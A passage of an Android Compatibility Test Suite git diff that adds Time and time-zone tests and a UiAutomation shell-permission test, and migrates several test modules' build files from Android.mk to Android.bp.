+        // We use java.util.TimeZone with Calendar because that's the same data as used by Time and
+        // so they should generally agree. ICU, and java.time which is backed by ICU on Android, are
+        // generally better because they handle things outside of the Integer range.
+        TimeZone tz = TimeZone.getTimeZone(timeZoneId);
+        Calendar calendar = new GregorianCalendar(tz);
+        calendar.set(
+                localDateTime.getYear(),
+                localDateTime.getMonthValue() - 1 /* calendar uses [0-11] */,
+                localDateTime.getDayOfMonth(),
+                localDateTime.getHour(),
+                localDateTime.getMinute(),
+                localDateTime.getSecond()
+        );
+        calendar.set(Calendar.MILLISECOND, 0);
+        return calendar.getTimeInMillis();
+    }
+
+    private static void assertLocalTimeMillis(String timeZoneId, LocalDateTime testLocalTime,
+            long expectedMillis) {
+
+        Time t = new Time(timeZoneId);
+        Fields.set(t,
+                testLocalTime.getYear(),
+                testLocalTime.getMonthValue() - 1 /* Time class uses [0-11] */,
+                testLocalTime.getDayOfMonth(),
+                testLocalTime.getHour(),
+                testLocalTime.getMinute(),
+                testLocalTime.getSecond(),
+                0 /* isDst */, 0, 0, 0);
+        assertEquals(expectedMillis, t.toMillis(true /* ignoreDst */));
+
+        // Check that Time agrees with native localtime / mktime.
+        NativeTimeFunctions.assertNativeTimeResults(timeZoneId, testLocalTime, expectedMillis);
+    }
+
+    /**
+     * This is a test to ensure that Time generally works in the time period that apps will be
+     * interested in. There are various specific tests that exist to catch known edge cases but this
+     * test gives more general coverage looking for obvious issues in simple cases. Inspired by
+     * b/118835133 which revealed there was an obvious problem with recent dates in some zones after
+     * Android was upgraded to a newer zic tool.
+     */
+    @Test
+    public void test_toMillisAndNormalizeGenerallyWork() {
+        String[] tzIds = TimeZone.getAvailableIDs();
+        for (String tzId : tzIds) {
+            TimeZone timeZone = TimeZone.getTimeZone(tzId);
+            Calendar calendar = new GregorianCalendar(timeZone);
+            for (long timeInMillis : calculateToMillisTestTimes(tzId)) {
+                // We use Calendar to obtain local time fields for timeInMillis.
+                calendar.setTimeInMillis(timeInMillis);
+
+                Time time = new Time(tzId);
+                Fields.setDateTime(time, calendar);
+
+                // Now we check that Time can work out the time in millis from the local time fields
+                // we give it.
+                assertEquals("toMillis() must match calendar in " + tzId + " at "
+                        + time, calendar.getTimeInMillis(), time.toMillis(true /* ignoreDst */));
+
+                // Repeat with normalize(), which allows us to also check isDst / gmtoff.
+                long normalizedMillis = time.normalize(true /* ignoreDst */);
+                assertEquals("normalize() must match calendar in " + tzId + " at "
+                        + time, calendar.getTimeInMillis(), normalizedMillis);
+                assertEquals("isDst failed to match calendar in " + tzId + " at "
+                        + time, timeZone.inDaylightTime(new Date(timeInMillis)), (time.isDst != 0));
+                assertEquals(timeZone.getOffset(timeInMillis),
+                        Duration.ofSeconds(time.gmtoff).toMillis());
+
+                // Check that Time agrees with native localtime / mktime.
+                NativeTimeFunctions.assertNativeTimeResults(
+                        tzId, createLocalDateTime(calendar), timeInMillis);
+            }
+        }
+    }
+
+    /**
+     * Creates a LocalDateTime from a Calendar by reading out the current date/time (to second
+     * precision only!).
+     */
+    private static LocalDateTime createLocalDateTime(Calendar calendar) {
+        return LocalDateTime.of(
+                calendar.get(Calendar.YEAR),
+                calendar.get(Calendar.MONTH) + 1,
+                calendar.get(Calendar.DAY_OF_MONTH),
+                calendar.get(Calendar.HOUR_OF_DAY),
+                calendar.get(Calendar.MINUTE),
+                calendar.get(Calendar.SECOND));
+    }
+
+    private static List<Long> calculateToMillisTestTimes(String tzId) {
+        List<Long> times = new ArrayList<>();
+
+        // Some local times can be ambiguous (when there's a "fall back") or missing (when there's
+        // a "spring forward"). Calendar and Time may reasonably do different things for these. We
+        // try to avoid those cases by picking the middle of intervals with a given offset, or at
+        // least a day away from a transition if we can't do that.
+
+        // java.time is used to calculate times below. java.time is built on ICU on Android
+        // which is independently developed. It enables us to get to the transition / interval
+        // information we need to generate mid-points using public APIs, something we can't
+        // currently do any other way.
+
+        // Start generating times using the interval around 1970, then iterate through following
+        // intervals. Stop when we get close to the top of the supported range for Time.
+        final Instant startTime = Instant.ofEpochSecond(0);
+        final Instant stopTime = Instant.ofEpochSecond(Integer.MAX_VALUE).minus(1, ChronoUnit.DAYS);
+
+        ZoneId zoneId = ZoneId.of(tzId);
+        ZoneRules rules = zoneId.getRules();
+        ZoneOffsetTransition low = rules.previousTransition(startTime);
+        if (low == null) {
+            low = rules.nextTransition(startTime);
+            if (low == null) {
+                // Make sure we always test some times even for simple time zones without
+                // transitions.
+                return Arrays.asList(startTime.toEpochMilli(), stopTime.toEpochMilli());
+            }
+        }
+
+        ZoneOffsetTransition high;
+        while ((high = rules.nextTransition(low.getInstant())) != null) {
+            Instant highTime = high.getInstant();
+            if (highTime.isAfter(stopTime)) {
+                break;
+            }
+
+            Instant lowTime = low.getInstant();
+            Instant midPointTime = calculateMidPoint(highTime, lowTime);
+            if (midPointTime.isBefore(startTime)) {
+                // Avoid the first-loop case where the mid point can be before the start time.
+                // The next transition must be after start time so use a time before that.
+                times.add(highTime.minus(1, ChronoUnit.DAYS).toEpochMilli());
+            } else {
+                times.add(midPointTime.toEpochMilli());
+            }
+
+            low = high;
+        }
+
+        // Add a time for the last interval we encountered. We either ran out of transitions or the
+        // end point of the next transition is above the stop time.
+        Instant finalTime = low.getInstant().plus(1, ChronoUnit.DAYS);
+        if (finalTime.isAfter(startTime) && finalTime.isBefore(stopTime)) {
+            times.add(finalTime.toEpochMilli());
+        }
+        return times;
+    }
+
+    private static Instant calculateMidPoint(Instant highStart, Instant lowStart) {
+        // Use seconds so we don't end up with half seconds that Time can't deal with.
+        long midPointSeconds = (lowStart.getEpochSecond() + highStart.getEpochSecond()) / 2;
+        return Instant.ofEpochSecond(midPointSeconds);
+    }
+
+    @Test
+    public void test_bug118835133_fixEarliestRawOffsetValue() {
+        // This test confirms the behavior between Integer.MIN_VALUE seconds and the next
+        // transition. With zic <= 2014b there is no explicit transition at Integer.MIN_VALUE
+        // seconds. Between 2014c and 2018e there is one, and it goes away again in 2018f. This test
+        // should pass regardless of zic version used as the Android behavior is stable for this
+        // zone as we have fixed the logic used to determine the offset before the first transition
+        // AND the first transition for the zone is after Integer.MIN_VALUE.
+        String tzId = "Africa/Abidjan";
+        Time t = new Time(tzId);
+        // Jan 1, 1912 12:16:08 AM UTC / Jan 1, 1912 00:00:00 local time
+        Instant oldEarliestTransition = Instant.ofEpochSecond(-1830383032);
+        Instant beforeOldEarliestTransition = oldEarliestTransition.minus(Duration.ofDays(1));
+        t.set(beforeOldEarliestTransition.toEpochMilli());
+
+        // The expected local time equivalent to the oldEarliestTransition time minus 1 day and
+        // offset by -968 seconds.
+        Time expected = new Time(tzId);
+        Fields.set(expected, 1911, 11, 31, 0, 0, 0, 0 /* isDst */, -968, 364, 0);
+        Fields.verifyTimeEquals(expected, t);
+
+        // Check that Time agrees with native localtime / mktime.
+        NativeTimeFunctions.assertNativeTimeResults(
+                tzId, LocalDateTime.of(1911, Month.DECEMBER, 31, 0, 0, 0),
+                beforeOldEarliestTransition.toEpochMilli());
+    }
+
     private static void verifyNormalizeResult(boolean normalizeArgument, Time toNormalize,
             Time expectedTime, long expectedTimeMillis) {
         long actualTimeMillis = toNormalize.normalize(normalizeArgument /* ignore isDst */);
@@ -2896,6 +3159,9 @@
             return String.format(format.toString(), values.toArray());
         }
 
+        /**
+         * Set date/time fields (only) on the supplied time. month is [0-11].
+         */
         public static void setDateTime(Time t, int year, int month, int monthDay, int hour,
                 int minute, int second) {
             t.year = year;
@@ -2907,6 +3173,22 @@
             t.allDay = false;
         }
 
+        /**
+         * Set date/time fields (only) on the supplied time using the equivalent Calendar fields.
+         */
+        public static void setDateTime(Time t, Calendar calendar) {
+            setDateTime(t,
+                    calendar.get(Calendar.YEAR),
+                    calendar.get(Calendar.MONTH),
+                    calendar.get(Calendar.DAY_OF_MONTH),
+                    calendar.get(Calendar.HOUR_OF_DAY),
+                    calendar.get(Calendar.MINUTE),
+                    calendar.get(Calendar.SECOND));
+        }
+
+        /**
+         * See {@link #setDateTime(Time, int, int, int, int, int, int)} for array order.
+         */
         public static void setDateTime(Time t, int[] args) {
             assertEquals(6, args.length);
             setDateTime(t, args[0], args[1], args[2], args[3], args[4], args[5]);
@@ -2922,6 +3204,9 @@
             t.weekDay = weekDay;
         }
 
+        /**
+         * Set fields on the supplied time. month is [0-11].
+         */
         public static void setAllDayDate(Time t, int year, int month, int monthDay) {
             t.year = year;
             t.month = month;
@@ -2929,12 +3214,18 @@
             t.allDay = true;
         }
 
+        /**
+         * See {@link #set(Time, int, int, int, int, int, int, int, int, int, int)} for array order.
+         */
         public static void set(Time t, int[] args) {
             assertEquals(10, args.length);
             set(t, args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8],
                     args[9]);
         }
 
+        /**
+         * Set fields on the supplied time. month is [0-11].
+         */
         public static void set(Time t, int year, int month, int monthDay, int hour, int minute,
                 int second, int isDst, int gmtoff, int yearDay, int weekDay) {
             setDateTime(t, year, month, monthDay, hour, minute, second);
@@ -2960,7 +3251,7 @@
         }
 
         public static int getUtcOffsetMillis(boolean isDst) {
-            return getUtcOffsetSeconds(isDst) * 1000;
+            return (int) Duration.ofSeconds(getUtcOffsetSeconds(isDst)).toMillis();
         }
     }
 
diff --git a/tests/tests/theme/Android.bp b/tests/tests/theme/Android.bp
new file mode 100644
index 0000000..cb18ee9
--- /dev/null
+++ b/tests/tests/theme/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsThemeDeviceTestCases",
+    defaults: ["cts_defaults"],
+
+    static_libs: ["ctstestrunner-axt"],
+
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+
+    srcs: ["src/**/*.java"],
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+    sdk_version: "current",
+}
diff --git a/tests/tests/theme/Android.mk b/tests/tests/theme/Android.mk
deleted file mode 100644
index 771a6de..0000000
--- a/tests/tests/theme/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsThemeDeviceTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/toast/Android.bp b/tests/tests/toast/Android.bp
new file mode 100644
index 0000000..72c785f
--- /dev/null
+++ b/tests/tests/toast/Android.bp
@@ -0,0 +1,38 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsToastTestCases",
+    defaults: ["cts_defaults"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    min_sdk_version: "25",
+}
+
+filegroup {
+    name: "CtsToastBaseToastTest",
+    srcs: ["src/android/widget/toast/cts/BaseToastTest.java"],
+}
diff --git a/tests/tests/toast/Android.mk b/tests/tests/toast/Android.mk
deleted file mode 100644
index 4c8cd51..0000000
--- a/tests/tests/toast/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsToastTestCases
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
diff --git a/tests/tests/toastlegacy/Android.bp b/tests/tests/toastlegacy/Android.bp
new file mode 100644
index 0000000..f2fac30
--- /dev/null
+++ b/tests/tests/toastlegacy/Android.bp
@@ -0,0 +1,35 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsToastLegacyTestCases",
+    defaults: ["cts_defaults"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+    ],
+    srcs: [
+        "src/**/*.java",
+        ":CtsToastBaseToastTest",
+    ],
+    sdk_version: "current",
+    min_sdk_version: "25",
+}
diff --git a/tests/tests/toastlegacy/Android.mk b/tests/tests/toastlegacy/Android.mk
deleted file mode 100644
index 15dad7d..0000000
--- a/tests/tests/toastlegacy/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    ../toast/src/android/widget/toast/cts/BaseToastTest.java
-
-LOCAL_PACKAGE_NAME := CtsToastLegacyTestCases
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
diff --git a/tests/tests/transition/Android.bp b/tests/tests/transition/Android.bp
new file mode 100644
index 0000000..569cb17
--- /dev/null
+++ b/tests/tests/transition/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsTransitionTestCases",
+    defaults: ["cts_defaults"],
+
+    static_libs: [
+        "androidx.test.rules",
+        "mockito-target-minus-junit4",
+        "hamcrest-library",
+        "android-common",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "platform-test-annotations",
+    ],
+
+    libs: ["android.test.runner.stubs"],
+
+    srcs: ["src/**/*.java"],
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/transition/Android.mk b/tests/tests/transition/Android.mk
deleted file mode 100644
index b6ed8f4..0000000
--- a/tests/tests/transition/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsTransitionTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES += \
-    androidx.test.rules \
-    mockito-target-minus-junit4 \
-    hamcrest-library \
-    android-common \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    platform-test-annotations
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# Enforce public / test api only
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/tv/Android.bp b/tests/tests/tv/Android.bp
new file mode 100644
index 0000000..640b963
--- /dev/null
+++ b/tests/tests/tv/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsTvTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/tv/Android.mk b/tests/tests/tv/Android.mk
deleted file mode 100644
index 072d800..0000000
--- a/tests/tests/tv/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsTvTestCases
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/uiautomation/Android.bp b/tests/tests/uiautomation/Android.bp
new file mode 100644
index 0000000..8eb07a0
--- /dev/null
+++ b/tests/tests/uiautomation/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsUiAutomationTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+    ],
+    libs: ["android.test.base.stubs"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/uiautomation/Android.mk b/tests/tests/uiautomation/Android.mk
deleted file mode 100644
index e0ab36c..0000000
--- a/tests/tests/uiautomation/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt ub-uiautomator
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsUiAutomationTestCases
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
diff --git a/tests/tests/uiautomation/AndroidManifest.xml b/tests/tests/uiautomation/AndroidManifest.xml
index 1a0dbdd..af4f4cd 100644
--- a/tests/tests/uiautomation/AndroidManifest.xml
+++ b/tests/tests/uiautomation/AndroidManifest.xml
@@ -22,6 +22,7 @@
 
   <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
   <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+  <uses-permission android:name="android.permission.CAMERA" />
 
   <application android:theme="@android:style/Theme.Holo.NoActionBar" >
 
diff --git a/tests/tests/uiautomation/AndroidTest.xml b/tests/tests/uiautomation/AndroidTest.xml
index c4bcdd6..e0a416a 100644
--- a/tests/tests/uiautomation/AndroidTest.xml
+++ b/tests/tests/uiautomation/AndroidTest.xml
@@ -20,6 +20,9 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUiAutomationTestCases.apk" />
     </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="pm revoke android.app.uiautomation.cts android.permission.CAMERA" />
+    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.app.uiautomation.cts" />
         <option name="runtime-hint" value="6m42s" />
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
index 4dfdf37..9fedbbf 100755
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
@@ -16,13 +16,16 @@
 
 package android.app.uiautomation.cts;
 
+import android.Manifest;
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.app.Activity;
+import android.app.ActivityManager;
 import android.app.UiAutomation;
 import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
-import android.os.ParcelFileDescriptor;
+import android.content.pm.PackageManager;
+import android.os.Process;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
@@ -62,7 +65,64 @@
         grantWriteSecureSettingsPermission(uiAutomation);
     }
 
-    @Presubmit
+    public void testAdoptShellPermissions() {
+        final Context context = getInstrumentation().getContext();
+        final ActivityManager activityManager = context.getSystemService(ActivityManager.class);
+        final PackageManager packageManager = context.getPackageManager();
+
+        // Try to access APIs guarded by a platform defined signature permissions
+        try {
+            activityManager.getPackageImportance("foo.bar.baz");
+            fail("Should not be able to access APIs protected by a permission apps cannot get");
+        } catch (SecurityException e) {
+            /* expected */
+        }
+        try {
+            packageManager.grantRuntimePermission(context.getPackageName(),
+                    Manifest.permission.CAMERA, Process.myUserHandle());
+            fail("Should not be able to access APIs protected by a permission apps cannot get");
+        } catch (SecurityException e) {
+            /* expected */
+        }
+
+        // Access APIs guarded by a platform defined signature permissions
+        try {
+            getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+
+            // Access APIs guarded by a platform defined signature permission
+            activityManager.getPackageImportance("foo.bar.baz");
+
+            // Grant ourselves a runtime permission (was granted at install)
+            assertSame(packageManager.checkPermission(Manifest.permission.CAMERA,
+                    context.getPackageName()), PackageManager.PERMISSION_DENIED);
+            packageManager.grantRuntimePermission(context.getPackageName(),
+                    Manifest.permission.CAMERA, Process.myUserHandle());
+        } catch (SecurityException e) {
+            fail("Should be able to access APIs protected by a permission apps cannot get");
+        } finally {
+            getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+        }
+        // Make sure the grant worked
+        assertSame(packageManager.checkPermission(Manifest.permission.CAMERA,
+                context.getPackageName()), PackageManager.PERMISSION_GRANTED);
+
+
+        // Try to access APIs guarded by a platform defined signature permissions
+        try {
+            activityManager.getPackageImportance("foo.bar.baz");
+            fail("Should not be able to access APIs protected by a permission apps cannot get");
+        } catch (SecurityException e) {
+            /* expected */
+        }
+        try {
+            packageManager.revokeRuntimePermission(context.getPackageName(),
+                    Manifest.permission.CAMERA, Process.myUserHandle());
+            fail("Should not be able to access APIs protected by a permission apps cannot get");
+        } catch (SecurityException e) {
+            /* expected */
+        }
+    }
+
     public void testWindowContentFrameStats() throws Exception {
         Activity activity = null;
         try {
@@ -78,6 +138,9 @@
             uiAutomation.waitForIdle(
                     QUIET_TIME_TO_BE_CONSIDERED_IDLE_STATE, TOTAL_TIME_TO_WAIT_FOR_IDLE_STATE);
 
+            // Wait for Activity draw finish
+            getInstrumentation().waitForIdleSync();
+
             // Find the application window.
             final int windowId = findAppWindowId(uiAutomation.getWindows());
             assertTrue(windowId >= 0);
diff --git a/tests/tests/uidisolation/Android.bp b/tests/tests/uidisolation/Android.bp
new file mode 100644
index 0000000..80059bc
--- /dev/null
+++ b/tests/tests/uidisolation/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsUidIsolationTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "ctstestserver",
+    ],
+    libs: [
+        "org.apache.http.legacy",
+        "android.test.runner.stubs",
